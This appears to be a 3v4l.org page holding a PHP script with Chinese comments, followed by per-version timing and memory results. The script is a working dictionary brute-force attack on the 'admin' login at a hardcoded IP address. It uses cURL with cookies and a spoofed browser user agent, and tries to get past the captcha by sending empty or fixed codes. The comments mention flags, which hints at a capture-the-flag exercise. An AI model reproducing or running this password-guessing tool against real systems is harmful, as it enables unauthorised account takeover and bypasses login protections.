3v4l.org

run code in 300+ PHP versions simultaneously
<?php // ================== 配置参数 ================== $target_url = 'http://133.0.215.85/login.php'; // ← 修改为实际目标地址 $username = 'admin'; // 登录用户名 $dict_file = 'dic.txt'; // 字典文件路径(解压 dic.zip 得到) $success_keyword = 'Hello'; // 成功响应中的关键字(如 "Welcome", "flag", "success" 等) // 创建 cURL 句柄并设置选项 function create_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, []); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIESESSION, true); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); // 保存 Cookie curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); // 携带 Cookie curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); return $ch; } // 检查验证码是否必须?可尝试先用空值测试 function is_captcha_required($test_url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $test_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'username' => 'admin', 'password' => 'wrongpass', 'code' => '' // 空验证码 ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); curl_close($ch); // 如果返回内容不包含“验证码错误”,说明可能被忽略 return stripos($response, '验证码') !== false || stripos($response, 'code') !== false; } // ================== 主程序开始 ================== if (!file_exists($dict_file)) { die("[❌] 字典文件 {$dict_file} 不存在!请确认已下载 dic.zip 并解压。\n"); } $lines = file($dict_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!$lines) { die("[❌] 字典文件为空!\n"); } echo "[*] 开始爆破登录...\n"; echo "目标: {$target_url}\n"; echo "用户: {$username}\n\n"; $ch = create_curl($target_url); foreach ($lines as $pwd) { $pwd = trim($pwd); if (empty($pwd)) continue; // 假设验证码可绕过(留空或任意值) $post_data = [ 'username' => $username, 'password' => $pwd, 'code' => '1234' // 尝试固定值;若失败可改为 '' 或从 create_code.php 获取 ]; curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $response = curl_exec($ch); if ($response === false) { echo "[⚠️] 请求出错: " . curl_error($ch) . "\n"; continue; } // 判断是否成功 if (stripos($response, $success_keyword) !== false) { echo "[✅] 爆破成功!\n"; echo "用户名: {$username}\n"; echo "密码: {$pwd}\n"; echo "响应片段: " . substr(strip_tags($response), 0, 200) . "...\n"; break; } else { echo "[✗] 尝试失败: {$pwd}\n"; } } curl_close($ch); echo "\n[✔] 爆破结束。\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.30.0110.00817.73
8.5.20.0140.00320.32
8.5.10.0040.00416.83
8.5.00.0120.01123.09
8.4.180.0120.01219.77
8.4.170.0100.01123.88
8.4.160.0150.01023.21
8.4.150.0060.00616.93
8.4.140.0330.01217.78
8.4.130.0320.01117.66
8.4.120.0370.00917.56
8.4.110.0340.01217.69
8.4.100.0360.01018.07
8.4.90.0350.01018.15
8.4.80.0370.00917.73
8.4.70.0370.00818.03
8.4.60.0350.00917.92
8.4.50.0370.01217.64
8.4.40.0470.00717.82
8.4.30.0380.01317.15
8.4.20.0400.00817.51
8.4.10.0370.01217.69
8.3.300.0080.01219.25
8.3.290.0100.01320.79
8.3.280.0070.00416.27
8.3.270.0390.00616.67
8.3.260.0320.01116.77
8.3.250.0320.01017.09
8.3.240.0350.00916.41
8.3.230.0350.01016.61
8.3.220.0310.01016.64
8.3.210.0330.01116.72
8.3.200.0340.01116.59
8.3.190.0390.00816.91
8.3.180.0360.00917.07
8.3.170.0380.01016.45
8.3.160.0370.01116.61
8.3.150.0370.00816.69
8.3.140.0340.01216.74
8.3.130.0310.01116.75
8.3.120.0340.00816.54
8.3.110.0330.00916.16
8.3.100.0380.00816.71
8.3.90.0400.00716.64
8.3.80.0450.00816.76
8.3.70.0390.01016.36
8.3.60.0360.00616.57
8.3.50.0350.01016.94
8.3.40.0430.00517.33
8.3.30.0310.00917.24
8.3.20.0280.01017.46
8.3.10.0250.01217.58
8.3.00.0290.00917.17
8.2.300.0160.00520.29
8.2.290.0270.00916.45
8.2.280.0300.00716.91
8.2.270.0300.00816.69
8.2.260.0280.01016.49
8.2.250.0350.00616.22
8.2.240.0320.00916.34
8.2.230.0300.00916.46
8.2.220.0290.01016.59
8.2.210.0310.00816.32
8.2.200.0290.01116.52
8.2.190.0330.00816.50
8.2.180.0280.01016.70
8.2.170.0370.00917.33
8.2.160.0290.01017.54
8.2.150.0350.00617.41
8.2.140.0320.00817.45
8.2.130.0330.00517.56
8.2.120.0320.00717.53
8.2.110.0360.01017.49
8.2.100.0310.01217.42
8.2.90.0300.00917.45
8.2.80.0280.01017.50
8.2.70.0310.00617.68
8.2.60.0300.00817.46
8.2.50.0300.00717.41
8.2.40.0280.01017.50
8.2.30.0320.00617.38
8.2.20.0270.01017.26
8.2.10.0430.00717.11
8.2.00.0330.00717.49
8.1.340.0110.01117.70

preferences:
43.74 ms | 851 KiB | 5 Q